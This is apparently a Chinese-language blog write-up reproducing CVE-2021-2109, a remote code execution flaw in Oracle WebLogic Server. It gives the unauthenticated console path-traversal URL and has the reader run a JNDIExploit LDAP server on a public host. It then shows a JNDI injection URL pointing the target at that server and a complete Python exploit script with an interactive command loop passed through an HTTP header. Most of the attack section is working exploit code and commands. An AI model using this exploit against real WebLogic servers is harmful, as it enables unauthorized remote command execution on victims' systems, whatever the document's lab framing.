聲明
本文章所有內容請勿用作違法用途,否則后果自負
漏洞影響版本
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞復現
搭建實驗環境,我這里直接使用vulhub里weblogic CVE-2020-14882的環境
訪問http://192.168.2.131:7001,出現以下界面說明搭建成功
訪問以下路徑,如果出現未授權訪問的情況,證明可以利用
http://192.168.2.131:7001/console/css/%252e%252e%252f/consolejndi.portal
啟動ldap腳本
在一台公網服務器上(目標主機能通的服務器)啟動ldap腳本
下載地址
https://github.com/feihong-cs/JNDIExploit
下載好后在服務器上啟動
java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服務器ip)
命令執行
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
注意,ldap地址的第三個點兒是分號
編寫poc
簡單寫個poc,需要循環執行命令,還有輸入ladp地址的時候打那個分號挺麻煩的,按照正常地址輸入讓程序自己成分號
替換分號,輸入的時候做個切片替換拼接一下,付給一個變量再往下傳
目標地址和ldap地址接收完以后,直接拼接url發包就可以了,headers里寫上UA和要執行的命令
循環執行命令設置上退出鍵
成品如下
import requests def README(): print("##################################################") print(" CVE-2021-2109 ") print(" 目標地址實例:http://xxx.xxx.xxx.xxx:7001 ") print(" LDAP地址實例:ldap://xxx.xxx.xxx.xxx:1389 ") print(" by xuanlv ") print("##################################################") def check(target,ldapadd): ipsplit = ldapadd.split(".") portsplit = ldapadd.split(":") ldapip = ipsplit[0]+"."+ipsplit[1]+"."+ipsplit[2]+";"+ipsplit[3] vulurl = "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldapip) target_url = target + vulurl headers={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36", "cmd":"whoami" } response = requests.get(target_url,headers=headers,verify=False,timeout=5) if response.status_code == 200: print("[+]存在漏洞") print("繼續執行命令,輸入exit退出") while True: cmd = input("Cmd >>>") if cmd =="exit": break else: headers={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36", "cmd":cmd } response = requests.get(target_url,headers=headers,verify=False,timeout=5) retext = response.text print(retext) else: print("[-]漏洞不存在") if __name__ == "__main__": README() target = input("請出入目標地址:") ldapadd = input("請輸入ldap地址:") check(target,ldapadd)
效果展示
參考文獻
https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ